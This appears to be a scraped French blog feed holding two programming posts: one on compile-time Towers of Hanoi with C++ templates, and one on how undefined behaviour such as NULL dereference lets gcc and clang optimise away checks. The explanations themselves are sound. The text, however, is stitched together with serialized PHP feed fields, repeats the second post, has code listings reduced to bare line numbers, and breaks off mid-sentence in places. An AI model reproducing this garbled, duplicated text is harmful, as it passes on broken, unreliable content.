template <int I, int J>
struct Sum {
static constexpr int result = I + J;
};Ainsi, l’expression :
Sum<3, 4>::resultest calculée à la compilation et vaut 7.
Prenons maintenant l’exemple d’un calcul récursif : la factorielle d’un entier. Il nous faut implémenter à la fois le cas général et la condition d’arrêt. Nous pourrions penser à utiliser l’opérateur ternaire ainsi :
template <int N>
struct Fact {
// does not work!
static constexpr int result = N == 0 ? 1 : N * Fact<N - 1>::result;
};Malheureusement, ceci ne peut pas fonctionner, car pour calculer la valeur d’une
expression, le compilateur doit d’abord calculer le type de chacun des
opérandes. Par conséquent, Fact<N - 1> sera généré même si N == 0. La
récursivité ne s’arrête donc jamais, provoquant une erreur à la compilation :
error: template instantiation depth exceeds maximum of 900
Comment faire alors ? La clé réside dans la spécialisation de templates, qui permet de sélectionner l’implémentation de la classe en fonction des paramètres :
template <int N>
struct Fact {
static constexpr int result = N * Fact<N-1>::result;
};
template <>
struct Fact<0> {
static constexpr int result = 1;
};Lorsque Fact est instancié avec le paramètre 0, la classe est générée à
partir du template spécialisé, stoppant ainsi la récursivité.
Appliquons ce principe à notre algorithme des tours de Hanoï. Nous allons
définir une classe template Solver avec 3 paramètres de template, les mêmes
que notre fonction solve(…) :
template <size DISKS, state S, tower TARGET>
struct SolverRec { /* … */ };Puis nous allons en définir une spécialisation pour le cas où DISKS vaut 0 :
template <state S, tower TARGET>
struct SolverRec<0, S, TARGET> { /* … */ };Nous avons ainsi implémenté le premier branchement sur la condition DISKS ==
0.
Un second branchement reste à réaliser : le calcul à effectuer est différent
selon si le plus grand disque parmi les DISKS derniers est déjà sur la tour
cible ou non. Celui-ci est plus compliqué, car les paramètres de template
présents ne permettent pas d’évaluer sa condition.
Nous allons donc devoir ajouter en paramètre la position du disque SRC afin de
pouvoir sélectionner la bonne implémentation en fonction de la condition SRC ==
TARGET. Sa valeur étant déterminée par celle des autres paramètres, l’ajout de
SRC ne va pas entraîner la création de nouveaux types. Par contre, il
multiplie les cas à implémenter :
// cas général
template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec { /* … */ };
// quand SRC == TARGET (le disque est déjà bien placé)
template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> { /* … */ };
// quand il ne reste plus qu'un seul disque, mal placé
template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> { /* … */ };
// quand il ne reste plus qu'un seul disque, déjà bien placé
template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> { /* … */ };Les plus observateurs auront remarqué que désormais, la récursivité s’arrête à 1
disque, et non plus 0 comme précédemment. En effet, maintenant que le paramètre
SRC est ajouté, il va falloir le calculer (grâce à getTower(…)) avant
d’utiliser le type. Or, cela n’a pas de sens de récupérer la position d’un
disque lorsque nous n’avons pas de disques. D’ailleurs, l’exécution de
getTower(…) avec disk == 0 provoquerait une erreur… de compilation (vu que
l’exécution se déroule à la compilation).
Nous avons maintenant 4 versions de la classe template SolverRec à écrire.
Chacune devra contenir l’état final résultant du déplacement de DISKS disques
de la tour SRC vers la tour TARGET à partir de l’état S. Cet état sera
stocké dans une constante final_state, présente dans chacune des
spécialisations.
Voici mon implémentation :
template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec {
static constexpr tower nextSrc = getTower(S, DISKS - 1);
static constexpr tower inter = other(SRC, TARGET);
using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter>;
static constexpr state value = move(rec1::final_state, SRC, TARGET);
using rec2 = SolverRec<DISKS - 1, value, inter, TARGET>;
static constexpr state final_state = rec2::final_state;
};
template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> {
static constexpr tower nextSrc = getTower(S, DISKS - 1);
using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER>;
static constexpr state final_state = rec::final_state;
};
template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> {
static constexpr state final_state = move(S, SRC, TARGET);
};
template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> {
static constexpr state final_state = S;
};Le type (déterminé par les arguments des templates) correspondant aux appels
récursifs dépend des valeurs constexpr calculées dans la classe. C’est à
l’appelant de calculer la tour source pour renseigner la valeur du paramètre
SRC.
Par commodité, nous pouvons aussi ajouter une classe template Solver, qui
calcule elle-même la tour SRC du plus grand disque lors du démarrage.
template <size DISKS, state S, tower TARGET>
struct Solver {
static constexpr tower src = getTower(S, DISKS);
using start = SolverRec<DISKS, S, src, TARGET>;
static constexpr state final_state = start::final_state;
};(source – commit – tag templates)
De cette manière, pour calculer l’état résultant du déplacement de 5 disques à
l’état 00000 (l’entier 0) vers la tour 2, il suffit de lire la variable :
Solver<5, 0, 2>::final_stateNous avons donc converti notre implementation d’une simple fonction constexpr
en classes template. Fonctionnellement équivalente pour l’instant, cette
nouvelle version met en place les fondations pour récupérer, à l’exécution, les
étapes de la résolution du problème calculées à la compilation.
Mais avant cela, dotons-nous d’un outil pour décrire l’état initial facilement,
qui pour l’instant doit être exprimé grâce à un state, c’est-à-dire un entier.
L’idée serait que l’état et le nombre de disques soit calculé automatiquement à la compilation à partir de la liste des positions des disques :
Disks<1, 2, 0, 1, 2>Contrairement à précedemment, ici, nous avons besoin d’un nombre indéterminé de paramètres. Nous allons donc utiliser les variadic templates :
template <tower ...T>
struct Disks;Remarquez que ce template est juste déclaré et non défini.
Pour parcourir les paramètres, nous avons besoin de deux spécialisations (une pour la récursion et une pour la condition d’arrêt) :
template <tower H, tower ...T>
struct Disks<H, T...> { /* … */ };
template <>
struct Disks<> { /* … */ };Chacune des deux spécialisent le template déclaré, mais remarquez que l’une n’est pas une spécialisation de l’autre. C’est la raison pour laquelle nous avons besoin de déclarer un template (sans le définir) dont ces deux définitions sont une spécialisation.
Voici l’implémentation :
template <tower H, tower ...T>
struct Disks<H, T...> {
static constexpr state count = 1 + sizeof...(T);
static constexpr state pack(state tmp) {
return Disks<T...>::pack(tmp * 3 + H);
}
static constexpr state packed = pack(0);
};
template <>
struct Disks<> {
static constexpr state count = 0;
static constexpr state pack(state tmp) { return tmp; };
static constexpr state packed = 0;
};Le nombre de disques est initialisé en comptant les paramètres grâce à
l’opérateur sizeof....
L’état compacté est stocké dans la variable packed. Étant donné que les
premiers paramètres traités seront les digits de poids fort, la multiplication
devra être effectuée par les appels récursifs plus profonds. C’est la raison
pour laquelle j’utilise une fonction temporaire qui permet d’initialiser
packed.
Nous pouvons maintenant initialiser notre solver ainsi :
using disks = Disks<1, 2, 0, 1, 2>;
using solver = Solver<disks::count, disks::packed, 2>;Attaquons-nous maintenant à l’affichage des états successifs.
Le plus simple consiste à implémenter une méthode print(…) dans chacune des
classes SolverRec, affichant l’état associé et/ou appellant récursivement les
méthodes print(…) sur les instances de SolverRec utilisées pour la
résolution du problème.
Pour cela, nous devons auparavant déterminer, pour chaque template instancié, quel état afficher. Par exemple, pour les classes crées à partir de l’implémentation du template non spécialisé, il y a plusieurs états accessibles :
S) ;rec1::final_state) ;value) ;final_state).C’est en fait l’état value qu’il faut afficher :
Il est important de différencier, pour chaque SolverRec, l’état final,
représentant l’état après l’application de tous les déplacements demandés, de
l’état suivant le seul déplacement unitaire (s’il existe) associé à la classe.
C’est ce dernier que nous voulons afficher.
Nous allons donc ajouter dans les 4 versions du template SolverRec une
méthode :
static std::ostream &print(std::ostream &os, size ndisks);Le paramètre std::ostream &os permet juste de préciser sur quel flux écrire
(std::cout par exemple) ; il est retourné pour pouvoir le chaîner avec
d’autres écritures (comme << std::endl).
Cette méthode a besoin de connaître le nombre total de disques, afin d’afficher
le bon nombre de digits. Notez que cette valeur est différente du paramètre de
template DISKS, qui correspond au nombre de disques à déplacer pour le niveau
de récursivité courant.
template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec {
static constexpr tower nextSrc = getTower(S, DISKS - 1);
static constexpr tower inter = other(SRC, TARGET);
using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter>;
static constexpr state value = move(rec1::final_state, SRC, TARGET);
using rec2 = SolverRec<DISKS - 1, value, inter, TARGET>;
static constexpr state final_state = rec2::final_state;
static std::ostream &print(std::ostream &os, size ndisks) {
rec1::print(os, ndisks);
print_state(os, ndisks, value) << std::endl;
rec2::print(os, ndisks);
return os;
}
};
template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> {
static constexpr tower nextSrc = getTower(S, DISKS - 1);
using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER>;
static constexpr state final_state = rec::final_state;
static std::ostream &print(std::ostream &os, size ndisks) {
rec::print(os, ndisks);
return os;
}
};
template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> {
static constexpr state value = move(S, SRC, TARGET);
static constexpr state final_state = value;
static std::ostream &print(std::ostream &os, size ndisks) {
print_state(os, ndisks, value) << std::endl;
return os;
}
};
template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> {
static constexpr state value = S;
static constexpr state final_state = value;
static std::ostream &print(std::ostream &os, size ndisks) {
return os;
}
};Seules les versions du template pour lesquelles SRC != TARGET affichent un
état. Les autres n’ont rien à afficher directement.
Ajoutons également, par commodité, une méthode similaire dans le template
Solver (sans le paramètre ndisks, car ici il est toujours égal à DISKS) :
template <size DISKS, state S, tower TARGET>
struct Solver {
static constexpr tower src = getTower(S, DISKS);
using start = SolverRec<DISKS, S, src, TARGET>;
static constexpr state final_state = start::final_state;
static std::ostream &print(std::ostream &os) {
print_state(std::cout, DISKS, S) << std::endl; // initial state
return start::print(os, DISKS);
}
};Cette nouvelle version affiche bien lors de l’exécution les états calculés lors de la compilation.
Cependant, les appels récursifs nécessaires à la résolution du problème ne sont pas supprimés : ils sont nécessaires à l’affichage des résultats. Il est dommage de résoudre le problème à la compilation si c’est pour que l’exécution repasse par chacune des étapes de la résolution pour l’affichage.
Pour éviter cela, nous allons générer à la compilation une liste chaînée des étapes qu’il ne restera plus qu’à parcourir à l’exécution. Chaque classe qui affichait un état va désormais stocker un nœud de la liste chainée, implémenté ainsi :
struct ResultNode {
state value;
ResultNode *next;
};Le défi est maintenant d’initialiser les champs next de chacun des nœuds à
l’adresse du nœud suivant dans l’ordre de résolution du problème des tours de
Hanoï, et non dans l’ordre des appels récursifs, qui est différent. Par exemple,
l’état (value) associé à une instance du template SolverRec non spécialisé
(correspondant au cas général) devra succéder à tous les états générés par
l’appel récursif rec1, pourtant appelé après.
Pour cela, chaque classe doit être capable d’indiquer à son appelant quel est le
premier nœud qu’elle peut atteindre (first) et passer à chaque classe appelée
le nœud qui devra suivre son nœud final (AFTER). Ces informations suffisent à
déterminer dans tous les cas le nœud suivant d’une classe donnée, ce qui permet
de constituer la liste chaînée complète en mémoire :
template <size DISKS, state S, tower SRC, tower TARGET, ResultNode *AFTER>
struct SolverRec {
static ResultNode node;
static constexpr tower nextSrc = getTower(S, DISKS - 1);
static constexpr tower inter = other(SRC, TARGET);
using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter, &node>;
static constexpr state value = move(rec1::final_state, SRC, TARGET);
using rec2 = SolverRec<DISKS - 1, value, inter, TARGET, AFTER>;
static constexpr state final_state = rec2::final_state;
static constexpr ResultNode *first = rec1::first;
static constexpr ResultNode *next = rec2::first;
};
template <size DISKS, state S, tower SRC, tower TARGET, ResultNode *AFTER>
ResultNode SolverRec<DISKS, S, SRC, TARGET, AFTER>::node = { value, next };
template <size DISKS, state S, tower TOWER, ResultNode *AFTER>
struct SolverRec<DISKS, S, TOWER, TOWER, AFTER> {
static constexpr tower nextSrc = getTower(S, DISKS - 1);
using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER, AFTER>;
static constexpr state final_state = rec::final_state;
static constexpr ResultNode *first = rec::first;
};
template <state S, tower SRC, tower TARGET, ResultNode *AFTER>
struct SolverRec<1, S, SRC, TARGET, AFTER> {
static ResultNode node;
static constexpr state value = move(S, SRC, TARGET);
static constexpr state final_state = value;
static constexpr ResultNode *first = &node;
static constexpr ResultNode *next = AFTER;
};
template <state S, tower SRC, tower TARGET, ResultNode *AFTER>
ResultNode SolverRec<1, S, SRC, TARGET, AFTER>::node = { value, next };
template <state S, tower TOWER, ResultNode *AFTER>
struct SolverRec<1, S, TOWER, TOWER, AFTER> {
static constexpr state value = S;
static constexpr state final_state = value;
static constexpr ResultNode *first = AFTER;
};
template <size DISKS, state S, tower TARGET>
struct Solver {
static ResultNode list;
static constexpr tower src = getTower(S, DISKS);
using start = SolverRec<DISKS, S, src, TARGET, nullptr>;
};
template <size DISKS, state S, tower TARGET>
ResultNode Solver<DISKS, S, TARGET>::list = { S, start::first };La variable static node n’étant pas constexpr (elle doit être adressable à
l’exécution pour former la liste chaînée), elle doit être initialisée en dehors
de la classe.
Pour parcourir simplement la liste chaînée, rendons ResultNode itérable
(j’implémente ici uniquement le strict minimum pour que l’iterator
fonctionne) :
struct ResultNode {
state value;
ResultNode *next;
class iterator {
const ResultNode *current;
public:
iterator(const ResultNode *current) : current(current) {};
iterator &operator++() { current = current->next; return *this; }
state operator*() { return current->value; }
bool operator==(const iterator &o) { return current == o.current; }
bool operator!=(const iterator &o) { return !(*this == o); }
};
iterator begin() const { return iterator(this); }
iterator end() const { return iterator(nullptr); }
};La liste peut être parcourue ainsi :
using disks = Disks<0, 0, 0, 0, 0>;
using solver = Solver<disks::count, disks::packed, 2>;
for (state s : solver::list) {
print_state(std::cout, disks::count, s) << std::endl;
}En observant le binaire généré, la liste chaînée est directement visible (ici les octets sont en little endian) :
$ objdump -sj .data metahanoi
metahanoi: file format elf64-x86-64
Contents of section .data:
6012a0 00000000 00000000 00000000 00000000
6012b0 00000000 00000000 00136000 00000000 n00: { 00000, &n05 }
6012c0 ca000000 00000000 f0136000 00000000 n01: { 21111, &n20 }
6012d0 35000000 00000000 70136000 00000000 n02: { 01222, &n12 }
6012e0 16000000 00000000 30136000 00000000 n03: { 00211, &n08 }
6012f0 05000000 00000000 10136000 00000000 n04: { 00012, &n06 }
601300 02000000 00000000 f0126000 00000000 n05: { 00002, &n04 }
601310 04000000 00000000 e0126000 00000000 n06: { 00011, &n03 }
601320 18000000 00000000 40136000 00000000 n07: { 00220, &n09 }
601330 15000000 00000000 20136000 00000000 n08: { 00210, &n07 }
601340 1a000000 00000000 d0126000 00000000 n09: { 00222, &n02 }
601350 24000000 00000000 a0136000 00000000 n10: { 01100, &n15 }
601360 2e000000 00000000 80136000 00000000 n11: { 01201, &n13 }
601370 34000000 00000000 60136000 00000000 n12: { 01221, &n11 }
601380 2d000000 00000000 50136000 00000000 n13: { 01200, &n10 }
601390 29000000 00000000 b0136000 00000000 n14: { 01112, &n16 }
6013a0 26000000 00000000 90136000 00000000 n15: { 01102, &n14 }
6013b0 28000000 00000000 c0126000 00000000 n16: { 01111, &n01 }
6013c0 d8000000 00000000 60146000 00000000 n17: { 22000, &n27 }
6013d0 c5000000 00000000 20146000 00000000 n18: { 21022, &n23 }
6013e0 cc000000 00000000 00146000 00000000 n19: { 21120, &n21 }
6013f0 c9000000 00000000 e0136000 00000000 n20: { 21110, &n19 }
601400 ce000000 00000000 d0136000 00000000 n21: { 21122, &n18 }
601410 be000000 00000000 30146000 00000000 n22: { 21001, &n24 }
601420 c4000000 00000000 10146000 00000000 n23: { 21021, &n22 }
601430 bd000000 00000000 c0136000 00000000 n24: { 21000, &n17 }
601440 ee000000 00000000 90146000 00000000 n25: { 22211, &n30 }
601450 dd000000 00000000 70146000 00000000 n26: { 22012, &n28 }
601460 da000000 00000000 50146000 00000000 n27: { 22002, &n26 }
601470 dc000000 00000000 40146000 00000000 n28: { 22011, &n25 }
601480 f0000000 00000000 a0146000 00000000 n29: { 22220, &n31 }
601490 ed000000 00000000 80146000 00000000 n30: { 22210, &n29 }
6014a0 f2000000 00000000 00000000 00000000 n31: { 22222, nullptr }
La colonne de gauche correspond aux adresses des données. Les 4 colonnes
suivantes contiennent des blocs de 4 octets, les deux premiers de chaque ligne
représentant le champ value et les deux suivants le champ next de
ResultNode, que j’ai réécrits de manière plus lisible à droite.
Cette représentation interpelle : pourquoi ne pas stocker plus simplement les différents états dans l’ordre, plutôt que d’utiliser des indirections pour former une liste chaînée ?
Malheureusement, je n’ai pas trouvé de solution pour stocker les états ordonnés dans un seul tableau d’entiers dès la compilation.
Si quelqu’un y parvient, ça m’intéresse !
";s:7:"dateiso";s:15:"20150327_195308";}s:15:"20141022_024159";a:7:{s:5:"title";s:38:"Comportement indéfini et optimisation";s:4:"link";s:68:"http://blog.rom1v.com/2014/10/comportement-indefini-et-optimisation/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4889";s:7:"pubDate";s:31:"Wed, 22 Oct 2014 00:41:59 +0000";s:11:"description";s:403:"Dans certains langages (typiquement C et C++), la sémantique de certaines opérations est indéfinie. Cela permet au compilateur de ne s’intéresser qu’aux cas qui sont définis (et donc de les optimiser) sans s’occuper des effets produits sur les cas indéfinis. C’est un concept très précieux pour améliorer sensiblement les performances. Mais cela peut avoir des […]";s:7:"content";s:28731:"Dans certains langages (typiquement C et C++), la sémantique de certaines opérations est indéfinie. Cela permet au compilateur de ne s’intéresser qu’aux cas qui sont définis (et donc de les optimiser) sans s’occuper des effets produits sur les cas indéfinis.
C’est un concept très précieux pour améliorer sensiblement les performances. Mais cela peut avoir des effets surprenants. Si le résultat de votre programme dépend d’un comportement indéfini (undefined behavior) particulier, alors votre programme complet n’a pas de sens, et le compilateur a le droit de faire ce qu’il veut. Et il ne s’en prive pas !
Par exemple, déréférencer un pointeur NULL est un comportement indéfini. En effet, contrairement à ce que beaucoup pensent, l’exécution du programme ne va pas forcément provoquer une erreur de segmentation.
J’ai écrit un petit programme tout simple (undefined.c) :
1 2 3 4 5 6 7 8 9 10 11 |
|
Si argc vaut 1 (c’est-à-dire si nous appelons l’exécutable sans passer d’arguments de la ligne de commande), alors le pointeur i est NULL (ligne 5).
Cette ligne peut paraître étrange, mais elle permet de faire dépendre i d’une valeur connue uniquement à l’exécution (argc), ce qui évite au compilateur de savoir à l’avance que i est NULL.
La ligne 6 (*i = 42) est donc incorrecte : nous n’avons pas le droit de déréférencer un pointeur NULL. Nous nous attendons donc souvent à une erreur de segmentation.
Mais suite à ce que je viens de vous dire, admettons que ce ne soit pas le cas, et que nous arrivions quand même sur la ligne suivante (7). Ici, si i est NULL, la fonction se termine (en retournant 1, ligne 8).
Donc il n’y a donc aucun moyen d’afficher le contenu du printf ligne 9.
Et bien… en fait, si !
Essayons (j’utilise gcc 4.7.2 packagé dans Debian Wheezy en amd64, les résultats peuvent différer avec un autre compilateur ou une autre version de gcc) :
$ gcc -Wall undefined.c
$ ./a.out # argc == 1
Erreur de segmentation
$ ./a.out hello # argc == 2
pwnd 42
Jusqu’ici, tout va bien. Maintenant, activons des optimisations de compilation :
$ gcc -Wall -O2 undefined.c
$ ./a.out
pwnd 42
Voilà, nous avons réussi à exécuter le printf alors que argc == 1.
Que s’est-il passé ?
Pour le comprendre, il faut regarder le code généré en assembleur, sans et avec optimisations.
Pour générer le résultat de la compilation sans assembler (et donc obtenir un fichier source assembleur undefined.s) :
gcc -S undefined.c
J’ai commenté les parties importantes :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
|
Le code généré est très fidèle au code source C.
gcc -OMaintenant, activons certaines optimisations :
gcc -O -S undefined.c
Ce qui donne :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
|
Là, le compilateur a réorganisé le code. Si je devais le retraduire en C, j’écrirais ceci :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
|
Ce qui est amusant, c’est qu’il alloue de la mémoire pour stocker i, il lui affecte la valeur 42… mais ne la lit jamais. En effet, il a décidé de recoder en dur 42 pour le paramètre du printf.
Mais avec ce résultat, impossible d’atteindre le printf si argc == 1.
gcc -O2Optimisons davantage :
gcc -O2 -S undefined.c
Ou, plus précisément (avec gcc 4.9.1 par exemple, l’option -O2 ne suffit pas) :
gcc -O -ftree-vrp -fdelete-null-pointer-checks -S undefined.c
(les options d’optimisation sont décrites dans la doc).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
|
Là, l’optimisation donne un résultat beaucoup plus direct :
#include <stdio.h>
int main(int argc, char *argv[]) {
printf("pwnd %d\n", 42);
return 0;
}
Quel raisonnement a-t-il pu suivre pour obtenir ce résultat ? Par exemple le suivant.
Lorsqu’il rencontre la ligne 6 de undefined.c, soit i est NULL, soit i n’est pas NULL. Le compilateur sait que déréférencer un pointeur NULL est indéfini. Il n’a donc pas à gérer ce cas. Il considère donc que i est forcément non-NULL.
Mais alors, à quoi bon tester si i est non-NULL ligne 7 ? Le test ne sert à rien. Donc il le supprime.
Ce raisonnement permet de transformer le code ainsi :
#include <stdio.h>
#include <malloc.h>
int main(int argc, char *argv[]) {
int *i = argc == 1 ? NULL : malloc(sizeof(int));
*i = 42;
printf("pwnd %d\n", *i);
return 0;
}
Mais ce n’est pas tout. Le compilateur sait que i n’est pas NULL, donc il peut considérer que le malloc a lieu. Et allouer un entier en mémoire, écrire 42 dedans, puis lire la valeur cet entier plus tard, ça se simplifie beaucoup : juste lire 42, sans allouer de mémoire.
Ce qu’il simplifie en :
printf("pwnd %d\n", 42);
CQFD
clang -02Il est intéressant d’observer ce que produit un autre compilateur : Clang.
clang -O2 -S undefined.c
Voici le résultat :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
|
Il réalise les mêmes optimisations que gcc -O, sauf qu’il génère une erreur explicite grâce à l’instruction machine ud2.
#include <stdio.h>
#include <malloc.h>
int main(int argc, char *argv[]) {
if (argc == 1)
ud2(); /* hardware undefined instruction */
int *i = malloc(sizeof(int));
*i = 42;
if (!i)
return 1;
printf("pwnd %d\n", 42);
return 0;
}
Étonnamment, Clang ne prend jamais la décision de supprimer le malloc.
Par contre, avec une version suffisamment récente (ça marche avec Clang 3.5.0), il est possible d’ajouter des vérifications lors de l’exécution :
$ clang -fsanitize=null undefined.c && ./a.out
undefined.c:6:5: runtime error: store to null pointer of type 'int'
Erreur de segmentation
Ça peut être pratique pour détecter des problèmes. Et puis des NullPointerExceptions en C, ça fait rêver, non ?
Si un programme contient un comportement indéfini, alors son comportement est indéfini. Pas juste la ligne en question. Pas juste les lignes qui suivent la ligne en question. Le programme. Même s’il fonctionne maintenant sur votre machine avec votre version de compilateur.
Somebody once told me that in basketball you can’t hold the ball and run. I got a basketball and tried it and it worked just fine. He obviously didn’t understand basketball.
(source)
Pour aller plus loin et étudier d’autres exemples, je vous recommande la lecture des articles suivants (en anglais) :
Les comportements indéfinis font partie intégrante du C et du C++. Mais même dans des langages de plus haut niveau, il existe des comportements indéfinis (pas de même nature, je vous l’accorde), notamment lorsque plusieurs threads s’exécutent en parallèle.
Pour garantir certains comportements, il faut utiliser des mécanismes de synchronisation. Dans une vie antérieure, j’avais présenté certains de ces mécanismes en Java.
Mais une erreur courante est de penser que la synchronisation ne fait que garantir l’atomicité avec des sections critiques. En réalité, c’est plus complexe que cela. D’une part, elle ajoute des barrières mémoire empêchant certaines réorganisations des instructions (ce qui explique pourquoi le double-checked locking pour écrire des singletons est faux). D’autre part, elle permet de synchroniser les caches locaux des threads, sans quoi l’exemple suivant (inspiré d’ici) est incorrect :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
|
Pour le compiler et l’exécuter :
javac VisibilityTest.java && java VisibilityTest
Sans synchronisation, il est très fort probable que le thread démarré ne se termine jamais, voyant toujours keepRunning à true, même si le thread principal lui a donné la valeur false.
Là encore, c’est une optimisation (la mise en cache d’une variable) qui provoque ce comportement « inattendu » sans synchronisation.
Déclarer keepRunning volatile suffit à résoudre le problème.
La notion de comportement indéfini est très importante pour améliorer la performance des programmes. Mais elle est source de bugs parfois difficiles à
Erreur de segmentation
Dans certains langages (typiquement C et C++), la sémantique de certaines opérations est indéfinie. Cela permet au compilateur de ne s’intéresser qu’aux cas qui sont définis (et donc de les optimiser) sans s’occuper des effets produits sur les cas indéfinis.
C’est un concept très précieux pour améliorer sensiblement les performances. Mais cela peut avoir des effets surprenants. Si le résultat de votre programme dépend d’un comportement indéfini (undefined behavior) particulier, alors votre programme complet n’a pas de sens, et le compilateur a le droit de faire ce qu’il veut. Et il ne s’en prive pas !
Par exemple, déréférencer un pointeur NULL) est un comportement indéfini. En effet, contrairement à ce que beaucoup pensent, l’exécution du programme ne va pas forcément provoquer une erreur de segmentation.
J’ai écrit un petit programme tout simple (undefined.c) :
#include <stdio.h>
#include <malloc.h>
int main(int argc, char *argv[]) {
int *i = argc == 1 ? NULL : malloc(sizeof(int));
*i = 42;
if (!i)
return 1;
printf("pwnd %d\n", *i);
return 0;
}Si argc vaut 1 (c’est-à-dire si nous appelons l’exécutable sans passer
d’arguments de la ligne de commande), alors le pointeur i est NULL (ligne
5).
Cette ligne peut paraître étrange, mais elle permet de faire dépendre i d’une
valeur connue uniquement à l’exécution (argc), ce qui évite au compilateur de
savoir à l’avance que i est NULL.
La ligne 6 (*i = 42) est donc incorrecte : nous n’avons pas le droit de
déréférencer un pointeur NULL. Nous nous attendons donc souvent à une erreur
de segmentation.
Mais suite à ce que je viens de vous dire, admettons que ce ne soit pas le cas,
et que nous arrivions quand même sur la ligne suivante (7). Ici, si i est
NULL, la fonction se termine (en retournant 1, ligne 8).
Donc il n’y a donc aucun moyen d’afficher le contenu du printf ligne 9.
Et bien… en fait, si !
Essayons (j’utilise gcc 4.7.2 packagé dans Debian Wheezy en amd64, les
résultats peuvent différer avec un autre compilateur ou une autre version de
gcc) :
$ gcc -Wall undefined.c
$ ./a.out # argc == 1
Erreur de segmentation
$ ./a.out hello # argc == 2
pwnd 42
Jusqu’ici, tout va bien. Maintenant, activons des optimisations de compilation :
$ gcc -Wall -O2 undefined.c
$ ./a.out # argc == 1
pwnd 42
Voilà, nous avons réussi à exécuter le printf alors que argc == 1.
Que s’est-il passé ?
Pour le comprendre, il faut regarder le code généré en assembleur, sans et avec optimisations.
Pour générer le résultat de la compilation sans assembler (et donc obtenir un fichier source assembleur undefined.s) :
gcc -S undefined.cJ’ai commenté les parties importantes :
.file "undefined.c"
.section .rodata
.LC0:
.string "pwnd %d\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $32, %rsp
movl %edi, -20(%rbp)
movq %rsi, -32(%rbp)
cmpl $1, -20(%rbp) ; if (argc == 1)
je .L2 ; goto .L2
movl $4, %edi ; arg0 = 4 // sizeof(int)
call malloc ; tmp = malloc(4)
jmp .L3 ; goto .L3
.L2:
movl $0, %eax
.L3:
movq %rax, -8(%rbp) ; i = tmp
movq -8(%rbp), %rax
movl $42, (%rax) ; *i = 42
cmpq $0, -8(%rbp) ; if (!i)
jne .L4 ; goto .L4
movl $1, %eax ; ret = 1
jmp .L5
.L4:
movq -8(%rbp), %rax
movl (%rax), %eax
movl %eax, %esi ; arg1 = *i
movl $.LC0, %edi ; arg0 points to "pwnd %d\n"
movl $0, %eax
call printf ; printf("pwnd %d\n", *i)
movl $0, %eax ; ret = 0
.L5:
leave
.cfi_def_cfa 7, 8
ret ; return ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Debian 4.7.2-5) 4.7.2"
.section .note.GNU-stack,"",@progbitsLe code généré est très fidèle au code source C.
gcc -OMaintenant, activons certaines optimisations :
gcc -O -S undefined.cCe qui donne :
.file "undefined.c"
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "pwnd %d\n"
.text
.globl main
.type main, @function
main:
.LFB11:
.cfi_startproc
cmpl $1, %edi ; if (argc == 1)
je .L2 ; goto .L2
subq $8, %rsp
.cfi_def_cfa_offset 16
movl $4, %edi ; arg0 = 4 // sizeof(int)
call malloc ; tmp = malloc(4)
movq %rax, %rdx ; i = tmp
movl $42, (%rax) ; *i = 42
movl $1, %eax ; ret = 1
testq %rdx, %rdx ; if (!i)
je .L5 ; goto .L5
movl $42, %esi ; arg1 = 42
movl $.LC0, %edi ; arg0 points to "pwnd %d\n"
movl $0, %eax
call printf ; printf("pwnd %d\n", 42)
movl $0, %eax ; ret = 0
jmp .L5 ; goto .L5
.L2:
.cfi_def_cfa_offset 8
movl $42, 0 ; segfault (dereference addr 0)
movl $1, %eax ; ret = 1
ret
.L5:
.cfi_def_cfa_offset 16
addq $8, %rsp
.cfi_def_cfa_offset 8
ret ; return ret
.cfi_endproc
.LFE11:
.size main, .-main
.ident "GCC: (Debian 4.7.2-5) 4.7.2"
.section .note.GNU-stack,"",@progbitsLà, le compilateur a réorganisé le code. Si je devais le retraduire en C, j’écrirais ceci :
#include <stdio.h>
#include <malloc.h>
int main(int argc, char *argv[]) {
if (argc == 1)
*((int *) NULL) = 42;
int *i = malloc(sizeof(int));
*i = 42;
if (!i)
return 1;
printf("pwnd %d\n", 42);
return 0;
}Ce qui est amusant, c’est qu’il alloue de la mémoire pour stocker i, il lui
affecte la valeur 42… mais ne la lit jamais. En effet, il a décidé de recoder
en dur 42 pour le paramètre du printf.
Mais avec ce résultat, impossible d’atteindre le printf si argc == 1.
gcc -O2Optimisons davantage :
